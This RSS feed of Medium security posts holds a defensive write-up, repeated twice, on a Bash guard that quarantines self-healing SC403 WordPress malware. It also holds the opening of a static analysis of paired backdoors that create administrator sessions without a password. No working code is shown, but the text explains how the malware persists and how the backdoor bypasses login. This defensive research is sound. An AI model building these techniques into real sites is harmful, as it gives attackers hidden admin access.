<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by MD Pabel on Medium]]></title>
        <description><![CDATA[Stories by MD Pabel on Medium]]></description>
        <link>https://medium.com/@mdpabeldev?source=rss-8cf1114a8130------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*1sikfX2XjfF-N-9q</url>
            <title>Stories by MD Pabel on Medium</title>
            <link>https://medium.com/@mdpabeldev?source=rss-8cf1114a8130------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sun, 06 Dec 2026 10:30:52 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@mdpabeldev/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Contain Self-Healing WordPress Malware While Sites Stay Live]]></title>
            <link>https://mdpabeldev.medium.com/contain-self-healing-wordpress-malware-while-sites-stay-live-95dd455c90a9?source=rss-8cf1114a8130------2</link>
            <guid isPermaLink="false">https://medium.com/p/95dd455c90a9</guid>
            <dc:creator><![CDATA[MD Pabel]]></dc:creator>
            <pubDate>Fri, 11 Sep 2026 00:00:58 GMT</pubDate>
            <atom:updated>2026-09-28T09:11:01.592Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>Research focus:</strong> Learn how an SC403 Bash guard finds and quarantines self-healing WordPress malware while affected cPanel websites must remain online.</p><h3>Summary</h3><p>I built sc403-live-containment.sh because SC403 malware kept coming back on a shared-hosting account. Many WordPress sites used the same cPanel account, and they could not all be taken offline at once.</p><p>Deleting one visible file did not solve the problem. Another infected file could restore it when a visitor opened a page. The restore source could be an MU plugin, a WordPress drop-in, an infected theme, a PHP setting, a database copy, a memory copy, or a ZIP backup.</p><p>The guard is a Bash script that runs outside WordPress. It finds WordPress installations and checks the places where this malware was known to hide. It can report files, move them to quarantine, or keep watching for files that return. It never loads WordPress and never runs a PHP sample.</p><p><strong>This script is not a complete malware cleaner. A result of </strong><strong>found=0 does not prove that a website is clean.</strong> It is a short-term safety tool to use while the full cleanup continues.</p><p>The underlying malware is documented in <a href="https://www.mdpabel.com/malware-research/sc-403-self-healing-wordpress-malware/">SC 4.0.3 Self-Healing WordPress Malware That Rebuilds Itself</a>. This companion article explains the live guard without publishing its full private rule set or the complete source code.</p><h3>Why I built a shell guard instead of another WordPress plugin</h3><p>Installing another WordPress plugin was not enough. Some parts of this malware can run before a normal plugin:</p><ul><li>.user.ini can use auto_prepend_file to run malware before the requested PHP file.</li><li>WordPress loads advanced-cache.php, object-cache.php, and db.php very early.</li><li>MU plugins load automatically and can conceal themselves from normal plugin-management screens.</li><li>One infected site can write into another site when both use the same hosting user.</li></ul><p>A shell script stored outside public_html does not need WordPress to work. It can check every WordPress site under the account, even when wp-admin is broken or hiding the malicious plugin.</p><p>This is still not a strong security wall. PHP and the guard run as the same hosting user. Malware with enough control could change or stop the script. The goal is simply to slow or interrupt file recovery while each site is cleaned.</p><h3>The live-site constraints</h3><p>The affected account contained about two dozen WordPress installations. Public traffic could not be stopped for all of them at the same time. I gave the guard these rules:</p><ol><li>Never run a recovered PHP file.</li><li>Make the first scan read-only.</li><li>Do not scan every account file every five seconds.</li><li>Act only on strong malware signs.</li><li>Save the first copy outside the public website folder.</li><li>Stop repeated files from filling the hosting disk.</li><li>Keep good code around a clearly marked infection.</li><li>Show every match and action in the terminal.</li></ol><p>These rules shaped the whole script.</p><h3>How the guard works</h3><p>The guard follows a small and clear process:</p><h3>Three operating modes</h3><p>The default guard interval is five seconds. A shorter interval may catch a returning file sooner, but it also uses more server resources.</p><h3>WordPress-root discovery</h3><p>The script searches for wp-config.php. Each folder containing that file is treated as a WordPress site. This allows one scan to cover the main site and other WordPress sites under the same cPanel account.</p><p>Compare the reported site count with the domain list in cPanel. Some domains may share a folder, may not use WordPress, or may sit outside the selected path.</p><h3>Exact eight-hex matching</h3><p>Some SC403 recovery files use a name made from exactly eight hexadecimal characters. Hexadecimal means the characters can be 0-9 and a-f; they are not always eight numbers. The guard validates the complete name instead of matching any filename that happens to contain eight characters.</p><p>The filename alone is not enough. The guard also checks where the file appears and whether other SC403 evidence is nearby. In this incident, matching ZIP files appeared in repeated upload-month folders and in a writable theme folder.</p><p>This limited approach helps avoid selecting ordinary ZIP files created by legitimate plugins.</p><h3>Content markers for ambiguous WordPress filenames</h3><p>Files such as advanced-cache.php, object-cache.php, and db.php can be legitimate. The guard does not remove them only because of their names. It checks their contents for known SC403 code markers first.</p><p>Only a few public examples are shown in this article. The full marker list stays private so this post does not become a guide for avoiding the checks.</p><p>The same idea is used for suspicious MU-plugin files because the malware can change its plugin name. The guard checks a small set of important locations, which keeps the repeated scan lighter on shared hosting.</p><h3>Private rules and changing malware names</h3><p>The malware used more than one fake plugin name and several hidden recovery paths. A fixed filename list would miss changed versions. The guard combines selected names, exact filename shapes, content markers, and expected locations.</p><p>I am not publishing the complete alias list, rule set, or source code here. Those details stay with the private incident notes and can be updated as the malware changes.</p><h3>Reversible quarantine</h3><p>Before making a change, the script checks the selected path and refuses unsafe, overly broad locations. Every matched file must remain inside the selected website folder.</p><p>The first confirmed file is moved to a dated quarantine folder outside public_html. The original folder structure is kept, which makes later review and recovery easier. For example, a malicious file under:</p><p>is retained under:</p><pre>&lt;account-home&gt;/sc403-quarantine/&lt;run-id&gt;/&lt;site&gt;/wp-content/mu-plugins/&lt;alias&gt;.php</pre><p>The quarantine folder uses account-only permissions. This keeps an evidence copy while removing it from the public website path.</p><p>An early version saved every returning copy. That could quickly fill the disk. The revised version keeps the first copy and the newest copy for each path. This gives useful evidence without allowing one returning file to create endless backups.</p><h3>Cleaning only known bad lines</h3><p>Some infected files also contain good website code. The guard has three limited cleaners for these cases.</p><h3>Theme functions.php</h3><p>The script changes a theme file only when it finds one clear start marker and one clear end marker. It saves the full infected copy first, removes only the marked block, and keeps the rest of the theme code.</p><p>If the markers are missing, incomplete, or repeated, the script stops and asks for manual review. It does not guess where the infection ends.</p><h3>PHP configuration</h3><p>A .user.ini, php.ini, or .htaccess file may contain valid settings. The guard removes an auto_prepend_file line only when it also matches known incident evidence. Other settings are left in place.</p><p>PHP may keep an old setting in memory for a short time. On shared hosting, the change may not take effect until that cache expires or the host restarts the PHP workers.</p><h3>wp-config.php</h3><p>The recovered malware added marked cache and temporary-folder lines to wp-config.php. The guard removes only the confirmed malicious lines and keeps the normal ABSPATH block. A complete backup is saved first.</p><p>A legitimate cache setting can be restored later from the trusted cache plugin configuration.</p><h3>Defensive code structure</h3><p>This pseudocode shows the safety idea without publishing the full detector rules or working source.</p><p><strong>Redacted defensive excerpt</strong></p><p>The guard uses normal shell tools available on many cPanel servers. It does not load WordPress, connect to the database, or run PHP samples.</p><h3>How we built and tested it</h3><p>I built the guard with Codex while I reviewed the evidence and controlled the cPanel deployment. We started with the recovered SC403 files and updated the checks when later variants showed new recovery locations.</p><p>The first version was tested in a safe sample folder containing:</p><ul><li>a test WordPress site;</li><li>a malicious-looking MU plugin and drop-in;</li><li>good theme code around a marked injected block;</li><li>a bad PHP setting next to a good setting; and</li><li>a file that returned after quarantine.</li></ul><p>The tests confirmed that scan mode made no changes, quarantine moved only selected files, good theme and PHP settings remained, and repeated files did not create unlimited backups.</p><p>The first live read-only scan found remaining configuration markers and a full recovery set on one site. A separate uploads review found matching eight-hex ZIP files across several sites. We then improved the guard to recognize the exact filename shape only in verified locations and to ignore normal archives.</p><p>This matters because a useful malware guard must follow confirmed behavior, not one filename from one website.</p><p>The SHA-256 of the reviewed script snapshot on the report date was:</p><pre>c3ae104b14427557fe7205d10a366879fe89c8c9bb7294e15c868255b2ebbaba</pre><p>Future versions will have a different hash. A checksum confirms the file version; it does not prove that the tool is right for every infection.</p><h3>Safe operating sequence</h3><p>The script should be stored outside public_html and reviewed before use. Always run the read-only scan first:</p><p>Review every result. Only then run one quarantine pass or start the temporary guard:</p><p>Guard mode keeps the terminal busy. A normal pass with no known matches looks like:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*caN1jSq10AoH-0ke.png" /></figure><p><em>Figure 1 — The live guard completed repeated checks and found no known file indicators at those moments. This is not proof that the account was fully clean.</em></p><p>An [IOC], [MOVED], [CLEANED], or [ROTATE] line shows a match or action. If a site develops an error, stop the guard with Ctrl+C and review the related quarantine copy.</p><p>Use guard mode only for a short, monitored cleanup period. A longer interval reduces server load, but a bad file may run before the next check.</p><h3>Confirmed findings</h3><ul><li>The shell guard can check known SC403 file locations without loading WordPress or running PHP.</li><li>Scan mode reports matches without changing files.</li><li>The limited cleaners preserved good theme code and unrelated settings in our tests.</li><li>Keeping the first and newest copy stopped one returning path from filling the quarantine folder.</li><li>Exact eight-hex checks reduced false matches, but location and other evidence were still important.</li><li>One account-wide scan found persistence that was not visible from a single wp-admin screen.</li></ul><h3>Indicators of compromise</h3><h3>Higher-confidence indicators</h3><ul><li>SC_ADV_BEGIN, SC_DB_BEGIN, or SC_TH_BEGIN inside the related WordPress file</li><li>SC_WC on a malware-added cache line in wp-config.php</li><li>the same confirmed fake-plugin code in plugin and MU-plugin locations</li></ul><p>These are selected public examples, not the complete private detector list.</p><h3>Contextual indicators</h3><ul><li>auto_prepend_file, which can be legitimate but is suspicious when it points to an unknown loader</li><li>exact eight-hex PHP or ZIP names in known recovery locations</li><li>the same site-specific ZIP name in more than one upload-month folder</li><li>an unfamiliar cache or database drop-in that did not come from a trusted plugin</li></ul><p>Contextual indicators are clues that need more proof. Review the scan result, file contents, location, and nearby evidence before making changes.</p><h3>Analyst assessment</h3><p>The guard is useful when WordPress malware keeps coming back but all sites cannot be suspended at once. It gives a limited and reversible control while the sites are cleaned one by one.</p><p>It does not make an infected account safe. A bad file may run before the next five-second scan. All sites under the same hosting user also share a weak security boundary. A found=0 result covers only the rules and locations known to that script version.</p><p>This is not a permanent security plugin or a complete malware scanner. It is a temporary containment tool used between evidence collection and trusted rebuilds.</p><h3>What this evidence does not establish</h3><ul><li>It does not identify the original vulnerable plugin, credential, or entry path.</li><li>It does not prove that all SC variants use the same aliases, names, or locations.</li><li>It does not prove a site is clean when found=0 is displayed.</li><li>It does not inspect or remove database payloads, malicious users, login sessions, cron data, memory, OPcache, or browser service workers.</li><li>It does not prevent a payload from executing during the polling interval.</li><li>It does not separate sites owned by the same cPanel user.</li><li>It does not establish that every eight-hex PHP or ZIP filename is malicious outside the observed location and evidence pattern.</li></ul><ol><li>Save the logs, quarantine files, database export, and hosting evidence outside the infected account.</li><li>Rebuild WordPress core, plugins, themes, and MU plugins from trusted downloads or reviewed backups.</li><li>Remove confirmed malicious database options, transients, stored payloads, and cron hooks.</li><li>Review all users and permissions. Remove unknown access, rotate passwords and WordPress salts, and force every user to log in again.</li><li>Ask the host to restart the affected PHP workers after the file and database cleanup.</li><li>Clean the site data and service workers in administrator browsers before they sign in again.</li><li>Move unrelated sites to separate hosting users or accounts when possible.</li><li>Stop and remove the guard after the rebuild and monitoring period are complete.</li></ol><h3>Recurrence verification</h3><ul><li>Keep the guard visible while normal visitors reach the sites during cleanup.</li><li>Investigate every file that returns. Its path and return time may point to a surviving backdoor.</li><li>Run a separate full-account malware search because this guard checks only selected locations.</li><li>Compare WordPress core, plugins, and themes with trusted packages.</li><li>Recheck the database, cron jobs, users, active sessions, PHP settings, and administrator browsers.</li><li>Compare the number of discovered WordPress sites with the document roots shown in cPanel.</li><li>Stop the guard and continue monitoring. If files return only after it stops, a recovery source is still active.</li></ul><h3>Frequently asked questions</h3><h3>Can I keep WordPress online while cleaning malware?</h3><p>Sometimes, but it carries risk. This guard was built for a case where many live sites could not be stopped together. It can interrupt known file recovery while sites are cleaned one by one, but a malicious file may still run between checks.</p><h3>Does found=0 mean the website is clean?</h3><p>No. It means the current pass found none of the known file indicators covered by that version. The database, PHP memory, cron jobs, users, browser service workers, or an unknown backdoor may still be infected.</p><h3>Why not use only an MU plugin?</h3><p>MU plugins run inside WordPress. This malware could load through PHP settings or WordPress drop-ins before an MU plugin. A shell guard runs outside WordPress and can check several sites under one cPanel account.</p><h3>Can I use this guard on every WordPress malware infection?</h3><p>No. It was made for the SC403 family and the evidence found in this incident. Running it against unrelated malware without reviewing the rules could miss files or select the wrong ones.</p><p><a href="https://www.mdpabel.com/malware-research/">Browse the WordPress malware research hub</a>.</p><h3>Methodology and privacy note</h3><p>This entry is based on static analysis of retained SC family artifacts, read-only shell output, access-log correlation, and controlled filesystem tests. Recovered PHP was treated as text and was not executed. No command-and-control or public RPC endpoint was contacted while developing the guard.</p><p>Client domains, usernames, credentials, document-root identifiers, and quarantine identifiers are omitted or generalized. Counts are included only where they explain the engineering constraint. The excerpts are defensive and incomplete; they document validation and containment logic rather than republishing a complete incident payload.</p><p><em>Originally published at </em><a href="https://www.mdpabel.com/malware-research/sc403-live-containment-guard/"><em>https://www.mdpabel.com</em></a><em> on September 11, 2026.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=95dd455c90a9" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Contain Self-Healing WordPress Malware While Sites Stay Live]]></title>
            <link>https://mdpabeldev.medium.com/contain-self-healing-wordpress-malware-while-sites-stay-live-fc4932c720cc?source=rss-8cf1114a8130------2</link>
            <guid isPermaLink="false">https://medium.com/p/fc4932c720cc</guid>
            <dc:creator><![CDATA[MD Pabel]]></dc:creator>
            <pubDate>Fri, 11 Sep 2026 00:00:16 GMT</pubDate>
            <atom:updated>2026-09-26T03:26:01.644Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>Research focus:</strong> Learn how an SC403 Bash guard finds and quarantines self-healing WordPress malware while affected cPanel websites must remain online.</p><h3>Summary</h3><p>I built sc403-live-containment.sh because SC403 malware kept coming back on a shared-hosting account. Many WordPress sites used the same cPanel account, and they could not all be taken offline at once.</p><p>Deleting one visible file did not solve the problem. Another infected file could restore it when a visitor opened a page. The restore source could be an MU plugin, a WordPress drop-in, an infected theme, a PHP setting, a database copy, a memory copy, or a ZIP backup.</p><p>The guard is a Bash script that runs outside WordPress. It finds WordPress installations and checks the places where this malware was known to hide. It can report files, move them to quarantine, or keep watching for files that return. It never loads WordPress and never runs a PHP sample.</p><p><strong>This script is not a complete malware cleaner. A result of </strong><strong>found=0 does not prove that a website is clean.</strong> It is a short-term safety tool to use while the full cleanup continues.</p><p>The underlying malware is documented in <a href="https://www.mdpabel.com/malware-research/sc-403-self-healing-wordpress-malware/">SC 4.0.3 Self-Healing WordPress Malware That Rebuilds Itself</a>. This companion article explains the live guard without publishing its full private rule set or the complete source code.</p><h3>Why I built a shell guard instead of another WordPress plugin</h3><p>Installing another WordPress plugin was not enough. Some parts of this malware can run before a normal plugin:</p><ul><li>.user.ini can use auto_prepend_file to run malware before the requested PHP file.</li><li>WordPress loads advanced-cache.php, object-cache.php, and db.php very early.</li><li>MU plugins load automatically and can conceal themselves from normal plugin-management screens.</li><li>One infected site can write into another site when both use the same hosting user.</li></ul><p>A shell script stored outside public_html does not need WordPress to work. It can check every WordPress site under the account, even when wp-admin is broken or hiding the malicious plugin.</p><p>This is still not a strong security wall. PHP and the guard run as the same hosting user. Malware with enough control could change or stop the script. The goal is simply to slow or interrupt file recovery while each site is cleaned.</p><h3>The live-site constraints</h3><p>The affected account contained about two dozen WordPress installations. Public traffic could not be stopped for all of them at the same time. I gave the guard these rules:</p><ol><li>Never run a recovered PHP file.</li><li>Make the first scan read-only.</li><li>Do not scan every account file every five seconds.</li><li>Act only on strong malware signs.</li><li>Save the first copy outside the public website folder.</li><li>Stop repeated files from filling the hosting disk.</li><li>Keep good code around a clearly marked infection.</li><li>Show every match and action in the terminal.</li></ol><p>These rules shaped the whole script.</p><h3>How the guard works</h3><p>The guard follows a small and clear process:</p><h3>Three operating modes</h3><p>The default guard interval is five seconds. A shorter interval may catch a returning file sooner, but it also uses more server resources.</p><h3>WordPress-root discovery</h3><p>The script searches for wp-config.php. Each folder containing that file is treated as a WordPress site. This allows one scan to cover the main site and other WordPress sites under the same cPanel account.</p><p>Compare the reported site count with the domain list in cPanel. Some domains may share a folder, may not use WordPress, or may sit outside the selected path.</p><h3>Exact eight-hex matching</h3><p>Some SC403 recovery files use a name made from exactly eight hexadecimal characters. Hexadecimal means the characters can be 0-9 and a-f; they are not always eight numbers. The guard validates the complete name instead of matching any filename that happens to contain eight characters.</p><p>The filename alone is not enough. The guard also checks where the file appears and whether other SC403 evidence is nearby. In this incident, matching ZIP files appeared in repeated upload-month folders and in a writable theme folder.</p><p>This limited approach helps avoid selecting ordinary ZIP files created by legitimate plugins.</p><h3>Content markers for ambiguous WordPress filenames</h3><p>Files such as advanced-cache.php, object-cache.php, and db.php can be legitimate. The guard does not remove them only because of their names. It checks their contents for known SC403 code markers first.</p><p>Only a few public examples are shown in this article. The full marker list stays private so this post does not become a guide for avoiding the checks.</p><p>The same idea is used for suspicious MU-plugin files because the malware can change its plugin name. The guard checks a small set of important locations, which keeps the repeated scan lighter on shared hosting.</p><h3>Private rules and changing malware names</h3><p>The malware used more than one fake plugin name and several hidden recovery paths. A fixed filename list would miss changed versions. The guard combines selected names, exact filename shapes, content markers, and expected locations.</p><p>I am not publishing the complete alias list, rule set, or source code here. Those details stay with the private incident notes and can be updated as the malware changes.</p><h3>Reversible quarantine</h3><p>Before making a change, the script checks the selected path and refuses unsafe, overly broad locations. Every matched file must remain inside the selected website folder.</p><p>The first confirmed file is moved to a dated quarantine folder outside public_html. The original folder structure is kept, which makes later review and recovery easier. For example, a malicious file under:</p><p>is retained under:</p><pre>&lt;account-home&gt;/sc403-quarantine/&lt;run-id&gt;/&lt;site&gt;/wp-content/mu-plugins/&lt;alias&gt;.php</pre><p>The quarantine folder uses account-only permissions. This keeps an evidence copy while removing it from the public website path.</p><p>An early version saved every returning copy. That could quickly fill the disk. The revised version keeps the first copy and the newest copy for each path. This gives useful evidence without allowing one returning file to create endless backups.</p><h3>Cleaning only known bad lines</h3><p>Some infected files also contain good website code. The guard has three limited cleaners for these cases.</p><h3>Theme functions.php</h3><p>The script changes a theme file only when it finds one clear start marker and one clear end marker. It saves the full infected copy first, removes only the marked block, and keeps the rest of the theme code.</p><p>If the markers are missing, incomplete, or repeated, the script stops and asks for manual review. It does not guess where the infection ends.</p><h3>PHP configuration</h3><p>A .user.ini, php.ini, or .htaccess file may contain valid settings. The guard removes an auto_prepend_file line only when it also matches known incident evidence. Other settings are left in place.</p><p>PHP may keep an old setting in memory for a short time. On shared hosting, the change may not take effect until that cache expires or the host restarts the PHP workers.</p><h3>wp-config.php</h3><p>The recovered malware added marked cache and temporary-folder lines to wp-config.php. The guard removes only the confirmed malicious lines and keeps the normal ABSPATH block. A complete backup is saved first.</p><p>A legitimate cache setting can be restored later from the trusted cache plugin configuration.</p><h3>Defensive code structure</h3><p>This pseudocode shows the safety idea without publishing the full detector rules or working source.</p><p><strong>Redacted defensive excerpt</strong></p><p>The guard uses normal shell tools available on many cPanel servers. It does not load WordPress, connect to the database, or run PHP samples.</p><h3>How we built and tested it</h3><p>I built the guard with Codex while I reviewed the evidence and controlled the cPanel deployment. We started with the recovered SC403 files and updated the checks when later variants showed new recovery locations.</p><p>The first version was tested in a safe sample folder containing:</p><ul><li>a test WordPress site;</li><li>a malicious-looking MU plugin and drop-in;</li><li>good theme code around a marked injected block;</li><li>a bad PHP setting next to a good setting; and</li><li>a file that returned after quarantine.</li></ul><p>The tests confirmed that scan mode made no changes, quarantine moved only selected files, good theme and PHP settings remained, and repeated files did not create unlimited backups.</p><p>The first live read-only scan found remaining configuration markers and a full recovery set on one site. A separate uploads review found matching eight-hex ZIP files across several sites. We then improved the guard to recognize the exact filename shape only in verified locations and to ignore normal archives.</p><p>This matters because a useful malware guard must follow confirmed behavior, not one filename from one website.</p><p>The SHA-256 of the reviewed script snapshot on the report date was:</p><pre>c3ae104b14427557fe7205d10a366879fe89c8c9bb7294e15c868255b2ebbaba</pre><p>Future versions will have a different hash. A checksum confirms the file version; it does not prove that the tool is right for every infection.</p><h3>Safe operating sequence</h3><p>The script should be stored outside public_html and reviewed before use. Always run the read-only scan first:</p><p>Review every result. Only then run one quarantine pass or start the temporary guard:</p><p>Guard mode keeps the terminal busy. A normal pass with no known matches looks like:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*yjYnD2OmO_Z8VD4F.png" /></figure><p><em>Figure 1 — The live guard completed repeated checks and found no known file indicators at those moments. This is not proof that the account was fully clean.</em></p><p>An [IOC], [MOVED], [CLEANED], or [ROTATE] line shows a match or action. If a site develops an error, stop the guard with Ctrl+C and review the related quarantine copy.</p><p>Use guard mode only for a short, monitored cleanup period. A longer interval reduces server load, but a bad file may run before the next check.</p><h3>Confirmed findings</h3><ul><li>The shell guard can check known SC403 file locations without loading WordPress or running PHP.</li><li>Scan mode reports matches without changing files.</li><li>The limited cleaners preserved good theme code and unrelated settings in our tests.</li><li>Keeping the first and newest copy stopped one returning path from filling the quarantine folder.</li><li>Exact eight-hex checks reduced false matches, but location and other evidence were still important.</li><li>One account-wide scan found persistence that was not visible from a single wp-admin screen.</li></ul><h3>Indicators of compromise</h3><h3>Higher-confidence indicators</h3><ul><li>SC_ADV_BEGIN, SC_DB_BEGIN, or SC_TH_BEGIN inside the related WordPress file</li><li>SC_WC on a malware-added cache line in wp-config.php</li><li>the same confirmed fake-plugin code in plugin and MU-plugin locations</li></ul><p>These are selected public examples, not the complete private detector list.</p><h3>Contextual indicators</h3><ul><li>auto_prepend_file, which can be legitimate but is suspicious when it points to an unknown loader</li><li>exact eight-hex PHP or ZIP names in known recovery locations</li><li>the same site-specific ZIP name in more than one upload-month folder</li><li>an unfamiliar cache or database drop-in that did not come from a trusted plugin</li></ul><p>Contextual indicators are clues that need more proof. Review the scan result, file contents, location, and nearby evidence before making changes.</p><h3>Analyst assessment</h3><p>The guard is useful when WordPress malware keeps coming back but all sites cannot be suspended at once. It gives a limited and reversible control while the sites are cleaned one by one.</p><p>It does not make an infected account safe. A bad file may run before the next five-second scan. All sites under the same hosting user also share a weak security boundary. A found=0 result covers only the rules and locations known to that script version.</p><p>This is not a permanent security plugin or a complete malware scanner. It is a temporary containment tool used between evidence collection and trusted rebuilds.</p><h3>What this evidence does not establish</h3><ul><li>It does not identify the original vulnerable plugin, credential, or entry path.</li><li>It does not prove that all SC variants use the same aliases, names, or locations.</li><li>It does not prove a site is clean when found=0 is displayed.</li><li>It does not inspect or remove database payloads, malicious users, login sessions, cron data, memory, OPcache, or browser service workers.</li><li>It does not prevent a payload from executing during the polling interval.</li><li>It does not separate sites owned by the same cPanel user.</li><li>It does not establish that every eight-hex PHP or ZIP filename is malicious outside the observed location and evidence pattern.</li></ul><ol><li>Save the logs, quarantine files, database export, and hosting evidence outside the infected account.</li><li>Rebuild WordPress core, plugins, themes, and MU plugins from trusted downloads or reviewed backups.</li><li>Remove confirmed malicious database options, transients, stored payloads, and cron hooks.</li><li>Review all users and permissions. Remove unknown access, rotate passwords and WordPress salts, and force every user to log in again.</li><li>Ask the host to restart the affected PHP workers after the file and database cleanup.</li><li>Clean the site data and service workers in administrator browsers before they sign in again.</li><li>Move unrelated sites to separate hosting users or accounts when possible.</li><li>Stop and remove the guard after the rebuild and monitoring period are complete.</li></ol><h3>Recurrence verification</h3><ul><li>Keep the guard visible while normal visitors reach the sites during cleanup.</li><li>Investigate every file that returns. Its path and return time may point to a surviving backdoor.</li><li>Run a separate full-account malware search because this guard checks only selected locations.</li><li>Compare WordPress core, plugins, and themes with trusted packages.</li><li>Recheck the database, cron jobs, users, active sessions, PHP settings, and administrator browsers.</li><li>Compare the number of discovered WordPress sites with the document roots shown in cPanel.</li><li>Stop the guard and continue monitoring. If files return only after it stops, a recovery source is still active.</li></ul><h3>Frequently asked questions</h3><h3>Can I keep WordPress online while cleaning malware?</h3><p>Sometimes, but it carries risk. This guard was built for a case where many live sites could not be stopped together. It can interrupt known file recovery while sites are cleaned one by one, but a malicious file may still run between checks.</p><h3>Does found=0 mean the website is clean?</h3><p>No. It means the current pass found none of the known file indicators covered by that version. The database, PHP memory, cron jobs, users, browser service workers, or an unknown backdoor may still be infected.</p><h3>Why not use only an MU plugin?</h3><p>MU plugins run inside WordPress. This malware could load through PHP settings or WordPress drop-ins before an MU plugin. A shell guard runs outside WordPress and can check several sites under one cPanel account.</p><h3>Can I use this guard on every WordPress malware infection?</h3><p>No. It was made for the SC403 family and the evidence found in this incident. Running it against unrelated malware without reviewing the rules could miss files or select the wrong ones.</p><p><a href="https://www.mdpabel.com/malware-research/">Browse the WordPress malware research hub</a>.</p><h3>Methodology and privacy note</h3><p>This entry is based on static analysis of retained SC family artifacts, read-only shell output, access-log correlation, and controlled filesystem tests. Recovered PHP was treated as text and was not executed. No command-and-control or public RPC endpoint was contacted while developing the guard.</p><p>Client domains, usernames, credentials, document-root identifiers, and quarantine identifiers are omitted or generalized. Counts are included only where they explain the engineering constraint. The excerpts are defensive and incomplete; they document validation and containment logic rather than republishing a complete incident payload.</p><p><em>Originally published at </em><a href="https://www.mdpabel.com/malware-research/sc403-live-containment-guard/"><em>https://www.mdpabel.com</em></a><em> on September 11, 2026.</em></p><p>WordPress Malware Removal Resources</p><p>Need the full cleanup process? <a href="https://www.mdpabel.com/books/wordpress-malware-removal-meta/">Get the WordPress Malware Removal Book</a>.</p><p>For hands-on help with an infected WordPress site, <a href="https://www.mdpabel.com/wordpress-malware-removal/">see the malware removal service</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*eLGk0tVkXvzy90EU.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=fc4932c720cc" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[wp_helper_uid WordPress Admin Backdoor Research]]></title>
            <link>https://mdpabeldev.medium.com/wp-helper-uid-wordpress-admin-backdoor-research-699c1ef457a4?source=rss-8cf1114a8130------2</link>
            <guid isPermaLink="false">https://medium.com/p/699c1ef457a4</guid>
            <dc:creator><![CDATA[MD Pabel]]></dc:creator>
            <pubDate>Sun, 30 Aug 2026 00:00:52 GMT</pubDate>
            <atom:updated>2026-09-29T09:11:01.862Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>Research focus:</strong> Static analysis of paired admin-helper.php and MU-plugin backdoors that mint persistent WordPress administrator sessions without passwords.</p><p>I recovered two small WordPress backdoors that do not steal or crack an administrator password. Instead, they ask WordPress itself to create a valid authenticated session for an existing administrator.</p><p>The first file, wp-content/admin-helper.php, is a directly reachable PHP endpoint. The second, wp-content/mu-plugins/boot-loader.php, is loaded automatically by WordPress. Both use the same database option, wp_helper_uid, and almost identical account-selection and cookie-generation logic. Each accepts a different hard-coded request secret, remains quiet when that secret is absent, and redirects a successful requester into wp-admin.</p><p><strong>Assessment:</strong> Critical compromise. An operator who knows either embedded secret can obtain the selected administrator’s WordPress privileges without presenting that user’s password or completing the normal login flow.</p><p>The public evidence deliberately withholds both live request secrets. Publishing them would turn defensive research into an access recipe for any site where the samples remain installed. Their hashes, stable code markers, file hashes, option name, and normalized control flow are sufficient for identification.</p><h3>Summary</h3><ul><li>admin-helper.php loads WordPress from a nearby wp-load.php, checks a secret request parameter, and displays a fake 404 response to ordinary visitors.</li><li>boot-loader.php is a must-use plugin. It checks a second secret-gated parameter before registering a priority-1 plugins_loaded callback.</li><li>Both read wp_helper_uid, enumerate administrator accounts in ascending ID order, and prefer the first administrator whose ID differs from the stored value.</li><li>If no different administrator exists, both fall back to the stored helper ID.</li><li>Both call wp_set_current_user() and wp_set_auth_cookie() without calling the password-authentication flow.</li><li>Both request a persistent login and redirect to wp-admin.</li><li>The database contained wp_helper_uid = 10; captured usermeta showed that user ID 10 had the site&#39;s administrator capability and user level 10.</li><li>Neither sample creates the option, creates the user, writes the other file, or reveals the original compromise route. A third component or an interactive attacker action remains missing.</li></ul><h3>Scope and methodology</h3><p>This report is based on the two recovered PHP files, their exact byte-level hashes, two Plesk directory captures, and read-only phpMyAdmin results. I normalized split strings and misleading identifiers, removed dead assignments, and traced the WordPress functions and hook order. PHP syntax was checked with php -l; the samples were not executed as applications, WordPress was not loaded during analysis, and no request was made to either gated route.</p><p>Exact searches for the two file hashes, embedded secrets, and distinctive header comments produced no useful public matches on 30 August 2026. Search-engine absence is not proof that the cluster is unique or previously unknown.</p><p>The cluster is provisionally described here as the <strong>wp_helper_uid dual WordPress administrator-session backdoor</strong>. That is a functional label, not attribution to a person, company, or established malware family.</p><h3>Recovered filesystem evidence</h3><p>The first sample appeared directly beneath wp-content rather than inside a normal plugin directory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*dFaH4-KWv7Z9sv9H.png" /></figure><p><em>Figure 1 — </em><em>admin-helper.php is displayed at 2.4 KB with permission mode 0644. Its displayed modification time is 30 July 2026 at 12:21, but that value alone cannot establish when the compromise occurred.</em></p><p>The companion occupied the root of wp-content/mu-plugins.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*eGDAgAG6gL4q2VT0.png" /></figure><p><em>Figure 2 — </em><em>boot-loader.php is displayed at 2.1 KB, also with mode 0644 and the same displayed modification time. The shared timestamp is consistent with coordinated placement or timestamp copying, but is not a reliable infection timeline.</em></p><p>WordPress automatically enables PHP files placed directly in wp-content/mu-plugins, loads them 